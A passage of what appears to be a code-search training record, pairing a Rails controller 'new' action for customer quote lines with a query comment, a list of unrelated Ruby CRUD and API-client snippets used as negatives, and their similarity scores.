"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def set_customer_quote\n @customer_quote = CustomerQuote.find(params[:id])\n end",
"def index\n # @line_items = LineItem.all\n @line_items = LineItem.where(order_id:@order.id)\n end",
"def create\n @client=Client.find_by_id(params['q_param']['client'])\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n list = [[\"\",\"\",\"1\",\"\"]]\n quote_p={:title=>title,:comment=>comment, :status=>1, :list=>list}\n @quote = @client.quotes.create(quote_p)\n render json: {:quote_id=>@quote.id}\n\n # respond_to do |format|\n # if @quote.save\n # format.html { redirect_to index, notice: 'Quote was successfully created.' }\n # # format.json { render action: 'show', status: :created, location: @quote }\n # else\n # format.html { render action: 'new' }\n # # format.json { render json: @quote.errors, status: :unprocessable_entity }\n # end\n # end\nend",
"def orders_get_discount_line_with_http_info(id, discount_lines_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DiscountsApi.orders_get_discount_line ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DiscountsApi.orders_get_discount_line\"\n end\n # verify the required parameter 'discount_lines_id' is set\n if @api_client.config.client_side_validation && discount_lines_id.nil?\n fail ArgumentError, \"Missing the required parameter 'discount_lines_id' when calling DiscountsApi.orders_get_discount_line\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/orders/{id}/discount_lines/{discount_lines_id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s)).sub('{' + 'discount_lines_id' + '}', CGI.escape(discount_lines_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'DiscountLinesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"DiscountsApi.orders_get_discount_line\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiscountsApi#orders_get_discount_line\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @quote_line.update(quote_line_params)\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def escaped_json\n json = to_json(:include => :trade_lines)\n return CGI.escape(json)\n end",
"def show\n @customer = Customer.includes(:invoices).find(params[:id].split(\",\"))\n\n render json: @customer\n end",
"def edit\n quote = Quote.find(params[:id])\n url = \"quotes/#{params[:id]}\"\n render :json => {:data => quote, :url => url}\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def line_items_for_customer(customer_id)\n ret_line_items = []\n my_line_items = delivery_details.find_all_by_customer_id(customer_id)\n my_line_items.each do |my_line_item|\n my_line_item.order_items.each do |order|\n if order.quantity > 0\n ret_line_items.push(order) unless ret_line_items.include? order\n end\n end\n end\n return ret_line_items\n end",
"def show\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def fetch_quote\n uri = URI('http://www.iheartquotes.com/api/v1/random?format=text&max_lines=4&max_characters=320')\n #open(@url).read.to_s\n req = Net::HTTP.get(uri)\n #puts req\n end",
"def show\n @price_quote = PriceQuote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @price_quote }\n end\n end",
"def quote_line_params\n params.require(:quote_line).permit(:qty, :discount, :product_id, :new_description, :quote_id)\n end",
"def account_lines opts={}\n params ={\n account: opts.delete(:account) || client_account,\n ledger: :current\n }.merge!(opts)\n post :account_lines, params\n end",
"def invoice # rubocop:disable all\n @province = Province.find(params[:province])\n @customer = Customer.find(session[:customer_id])\n customer_order = @customer.orders.build\n customer_order.status = 'outstanding'\n customer_order.pst_rate = @customer.province.pst\n customer_order.gst_rate = @customer.province.gst\n customer_order.hst_rate = @customer.province.hst\n customer_order.address = params[:address]\n customer_order.city = params[:city]\n customer_order.province = params[:province]\n customer_order.country_name = params[:country_name]\n customer_order.postal_code = params[:postal_code]\n customer_order.save\n\n session[:order_id] = customer_order.id\n session[:product_id].each do |product_id|\n product = Product.find(product_id)\n customer_item = customer_order.lineItems.build\n customer_item.order_id = customer_order.id\n customer_item.price = product.price\n customer_item.quantity = params[\"quantity_#{product.id}\"]\n customer_item.product_id = product.id\n customer_item.save\n end\n @line_items = LineItem.where('order_id = ?', session[:order_id])\n session[:order_complete] = true\n end",
"def show\n @line_items = @order.line_items\n end",
"def customer_recurring_orders\n # 1 represents \n @orders = Order.where(customer_id: current_user.customer_id, category: :recurring)\n render json: @orders, status: 200\n \n \n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def show\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def klines(options)\n request :public, :get, :klines, options\n end",
"def quote\n fetch('v_for_vendetta.quotes')\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @trade_lines = TradeLine.all\n end",
"def show\n client = Square::Client.new(\n access_token: Figaro.env.square_api_key,\n environment: 'production'\n )\n\n result = client.customers.retrieve_customer(\n customer_id: params[:id]\n )\n \n if result.success?\n # determine membership level\n if result.data[0][:groups].any? {|g| g[:name] === \"Wine Club gold\"}\n membership = \"Gold\"\n else\n membership = \"Platinum\"\n end\n # organize desired data from Square response\n square_data = {\n \"square_id\": result.data[0][:id],\n \"created_at\": result.data[0][:created_at],\n \"given_name\": result.data[0][:given_name],\n \"family_name\": result.data[0][:family_name],\n \"email\": result.data[0][:email_address],\n \"phone_number\": result.data[0][:phone_number],\n \"membership_level\": membership\n }\n\n transactions = client.orders.search_orders(\n body: {\n location_ids: [\n \"EBB8FHQ6NBGA8\"\n ],\n query: {\n filter: {\n customer_filter: {\n customer_ids: [\n square_data[:square_id]\n ]\n }\n }\n }\n }\n )\n if transactions.success?\n t_data = []\n transactions.data && transactions.data[0].each do |t|\n # logic to make sure transaction contains bottle purchase\n # bottle line items always start with \"20\", e.g. \"2017 Syrah\"\n if t[:line_items] && t[:line_items].any? {|li| li[:name] && li[:name].start_with?(\"20\")}\n items = t[:line_items].reject{|li| !li[:name].start_with?(\"20\")}.map { |li| { uid: li[:uid],\n catalog_object_id: li[:catalog_object_id], quantity: li[:quantity], name: li[:name]} }\n end\n \n t_obj = {\n id: t[:id],\n created_at: t[:created_at],\n line_items: items,\n }\n t_data << t_obj\n end\n elsif transactions.error?\n warn transactions.errors\n end\n\n # look up user in our DB\n currentUser = User.find {|u| u.square_id === result.data[0][:id]}\n\n member_data = {\n \"square\": square_data,\n \"db\": {\n \"id\": currentUser.id,\n \"commit_count\": currentUser.commit_count,\n \"commit_adjustments\": currentUser.commit_adjustments\n },\n \"transactions\": t_data\n }\n\n render json: member_data.to_json\n elsif result.error?\n warn result.errors\n end\n end",
"def index\n @incidents = @quote.incidents.all\n respond_to do |format|\n format.json { render :json => @incidents }\n end\n end",
"def customer(customer_id)\n client.get \"customers/#{inst_id}/#{customer_id}\"\n end",
"def quote\n @quote ||= Quote.get(params[:id])\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def orders_get_discount_lines_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DiscountsApi.orders_get_discount_lines ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DiscountsApi.orders_get_discount_lines\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DiscountsApi.orders_get_discount_lines, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DiscountsApi.orders_get_discount_lines, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/orders/{id}/discount_lines'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetOrderDiscountLinesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"DiscountsApi.orders_get_discount_lines\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiscountsApi#orders_get_discount_lines\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n puts params.inspect.green\n\n @line_item = LineItem.find(params[:id])\n\n puts @line_items.inspect.magenta\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def test_line_items_auth \n c = customers(:bob)\n assert_equal(line_items(:bob_line_item), c.find_line_item(1))\n assert_nil(c.find_line_item(2))\n assert_nil(c.find_line_item(100000))\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kid_quote }\n end\n end",
"def show\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_line }\n end\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def quotes(args)\n if args.is_a?(Integer)\n get(\"/markets/quotes/#{args}\")['quotes']\n elsif args.is_a?(Array)\n get(\"/markets/quotes?ids=#{args.join(',')}\")['quotes']\n else\n fail \"Malformed argument: #{args}\"\n end\n end",
"def destroy\n @order_line = OrderLine.find(params[:id])\n @order_line.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def lines\n invoice_lines\n end",
"def orders_create_discount_line_with_http_info(id, order_discount_lines_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DiscountsApi.orders_create_discount_line ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DiscountsApi.orders_create_discount_line\"\n end\n # verify the required parameter 'order_discount_lines_request' is set\n if @api_client.config.client_side_validation && order_discount_lines_request.nil?\n fail ArgumentError, \"Missing the required parameter 'order_discount_lines_request' when calling DiscountsApi.orders_create_discount_line\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/orders/{id}/discount_lines'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(order_discount_lines_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'DiscountLinesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"DiscountsApi.orders_create_discount_line\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiscountsApi#orders_create_discount_line\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @invoice_line_items = current_brand.invoice_line_items.all\n puts @invoice_line_items.as_json\n @invoice_line_item = InvoiceLineItem.new\n end",
"def mad_orig\n mad_quotes = MadQuote.all\n mad_quote = mad_quotes.sample\n orig_quote = OriginalQuote.where(id: mad_quote.original_quote_id)\n render json: [mad_quote, orig_quote], status: 200\n end",
"def index\n @quotes = Quote.order('created_at DESC')\n @quote = Quote.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quotes }\n end\n end",
"def show\n @order = Order.find(params[:id])\n @total_price = 0\n @order.line_items.each do |item|\n @total_price += item.product.price \n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n if signed_in?\n @quote = Quote.find_by_id(params[:id])\n else\n @quote = Quote.approved.find_by_id(params[:id])\n end\n\n respond_to do |format|\n unless @quote.nil?\n format.json { render :show, status: :ok, location: @quote }\n else\n format.json { render :show, status: :not_found }\n end\n end\n end",
"def index\n @quotes = Quote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quotes }\n end\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end"
] | [
"0.67117256",
"0.65767527",
"0.64757705",
"0.6307343",
"0.62854296",
"0.6225669",
"0.61302054",
"0.59657013",
"0.5959327",
"0.5917317",
"0.5826708",
"0.58110654",
"0.58016175",
"0.5775008",
"0.5769305",
"0.57152903",
"0.5671943",
"0.5604728",
"0.55968654",
"0.55603665",
"0.55554026",
"0.55141973",
"0.5476439",
"0.5476439",
"0.5476439",
"0.5463699",
"0.5451279",
"0.5444975",
"0.5416726",
"0.53975785",
"0.5371194",
"0.53577423",
"0.53556913",
"0.53549844",
"0.53532404",
"0.53511405",
"0.5344465",
"0.5343034",
"0.53406775",
"0.532205",
"0.53105253",
"0.53099096",
"0.53099096",
"0.53099096",
"0.53099096",
"0.53099096",
"0.53099096",
"0.53099096",
"0.5301219",
"0.5283963",
"0.52827984",
"0.5282764",
"0.52536786",
"0.5247321",
"0.52458817",
"0.52440983",
"0.52416307",
"0.5223633",
"0.52221906",
"0.52127033",
"0.5203178",
"0.52013886",
"0.5197592",
"0.51855266",
"0.5183157",
"0.51828456",
"0.5166097",
"0.5161212",
"0.5161212",
"0.5161212",
"0.5161212",
"0.51593256",
"0.5159088",
"0.5153799",
"0.5133522",
"0.5132255",
"0.51302415",
"0.51293886",
"0.5127078",
"0.5119212",
"0.5103997",
"0.51039773",
"0.51027906",
"0.5099883",
"0.5089741",
"0.5087471",
"0.5085354",
"0.50789183",
"0.5071998",
"0.50693333",
"0.5063912",
"0.50530636",
"0.50510126",
"0.5036074",
"0.5034255",
"0.5033812",
"0.5030849",
"0.5029326",
"0.5027383",
"0.5027383"
] | 0.7558311 | 0 |
GET customer_quotes/1/customer_quote_lines/new GET customer_quotes/1/customer_quote_lines/new.json | def new
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
@customer_quote_line = @customer_quote.customer_quote_lines.build
@attachable = @customer_quote
respond_to do |format|
format.html # new.html.erb
format.json { render :json => @customer_quote_line }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @quote = Quote.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote }\n end\n end",
"def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end",
"def new\n @quoteable = find_quoteable\n @quote = Quote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote }\n end\n end",
"def new\n @quote_detail = QuoteDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote_detail }\n end\n end",
"def new\n @line = Line.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @lineitem = Lineitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def show\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def new\n @price_quote = PriceQuote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @price_quote }\n end\n end",
"def new\n @line_item1 = LineItem1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def new\n @purchase_order_item_line = PurchaseOrderItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase_order_item_line }\n end\n end",
"def new\n @item_line = ItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_line }\n end\n end",
"def new\n @participant_quote = ParticipantQuote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @participant_quote }\n end\n end",
"def new\n @lineup = Lineup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineup }\n end\n end",
"def test_new\n quote_details = SAMPLE_QUOTE_DETAILS.deep_dup\n quote_details['fixed_price_services_requested']['price'] = 1200\n params_hash = {\n udprn: SAMPLE_UDPRN,\n services_required: SAMPLE_SERVICES_REQUIRED,\n payment_terms: SAMPLE_PAYMENT_TERMS,\n quote_details: quote_details.to_json\n }\n first_params_hash = params_hash.deep_dup\n first_params_hash[:quote_details] = SAMPLE_QUOTE_DETAILS.to_json\n post :new_quote_for_property, first_params_hash\n prev_quote_count = Agents::Branches::AssignedAgents::Quote.count\n post :new, params_hash\n assert_response 200\n assert_equal Agents::Branches::AssignedAgents::Quote.count, (prev_quote_count + 1)\n end",
"def new\n @quote = Quote.new\n 3.times {@quote.tags.build}\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote }\n end\n end",
"def create\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n params[:customer_quote_line][:item_name_sub] = params[:alt_name_id]\n @customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params)\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.save\n format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' }\n format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @clientsOffers = ClientsOffers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientsOffers }\n end\n end",
"def new\n @rfq = Rfq.new\n 3.times { @rfq.rfq_lines.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rfq }\n end\n end",
"def new\n @donation_line = DonationLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @donation_line }\n end\n end",
"def cow_order\n @order = Order.new\n @order.lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def new\n @title = t 'view.orders.new_title'\n @order = current_customer.orders.build(\n include_documents: session[:documents_to_order]\n )\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def create\n @client=Client.find_by_id(params['q_param']['client'])\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n list = [[\"\",\"\",\"1\",\"\"]]\n quote_p={:title=>title,:comment=>comment, :status=>1, :list=>list}\n @quote = @client.quotes.create(quote_p)\n render json: {:quote_id=>@quote.id}\n\n # respond_to do |format|\n # if @quote.save\n # format.html { redirect_to index, notice: 'Quote was successfully created.' }\n # # format.json { render action: 'show', status: :created, location: @quote }\n # else\n # format.html { render action: 'new' }\n # # format.json { render json: @quote.errors, status: :unprocessable_entity }\n # end\n # end\nend",
"def new\n @product_line = ProductLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_line }\n end\n end",
"def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @line = Line.new\n authorize! :new, @line\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @invent_journal_line = InventJournalLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invent_journal_line }\n end\n end",
"def new\n respond_with(@quote)\n end",
"def new\n @extension_line = ExtensionLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @extension_line }\n end\n end",
"def particular_customer_quotes\n offset = 0\n filter = \"%\"\n if (params[:offset].class.to_s != \"NilClass\" && params[:offset].integer?)\n offset = params[:offset].to_i\n end\n if (params[:filter].class.to_s != \"NilClass\")\n filter = \"%\" + params[:filter] + \"%\"\n end\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # it should be this query which is written down\n lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(idClient: params[:no]).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(\"(note like ? OR status.name LIKE ? OR dispatcher.firstName LIKE ? OR dispatcher.lastName LIKE ? OR reference LIKE ? ) AND idClient = ?\", filter, filter, filter, filter, filter, params[:no]).order('DESC').offset(offset).limit(30)\n\n # lstQuotes.each do |quote|\n # # TODO! Format each quote before send it.\n # end\n return render_json_response(lstQuotes, :ok)\n end",
"def new\n @quote = Quote.find(params[:quote_id])\n @quote_vendor = @quote.quote_vendors.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @quote_vendor }\n end\n end",
"def new\n @invoice = Invoice.new\n $details = Array.new\n @customers = Customer.all\n @retire_notes = Array.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end",
"def new\n @customer = Customer.new\n unless Customer.last.nil?\n @account_number = Customer.last.account_number.next\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"def test_new_rent\n quote_details = SAMPLE_QUOTE_DETAILS.deep_dup\n quote_details['fixed_price_services_requested']['price'] = 1200\n params_hash = {\n udprn: '123456',\n services_required: SAMPLE_SERVICES_REQUIRED,\n payment_terms: SAMPLE_PAYMENT_TERMS,\n quote_details: quote_details.to_json\n }\n first_params_hash = params_hash.deep_dup\n first_params_hash[:quote_details] = SAMPLE_QUOTE_DETAILS.to_json\n post :new_quote_for_property, first_params_hash\n prev_quote_count = Agents::Branches::AssignedAgents::Quote.count\n post :new, params_hash\n assert_response 200\n assert_equal Agents::Branches::AssignedAgents::Quote.count, (prev_quote_count + 1)\n end",
"def new\n @line_item = LineItem.new(:order_id => params[:order_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @sample_line = SampleLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sample_line }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
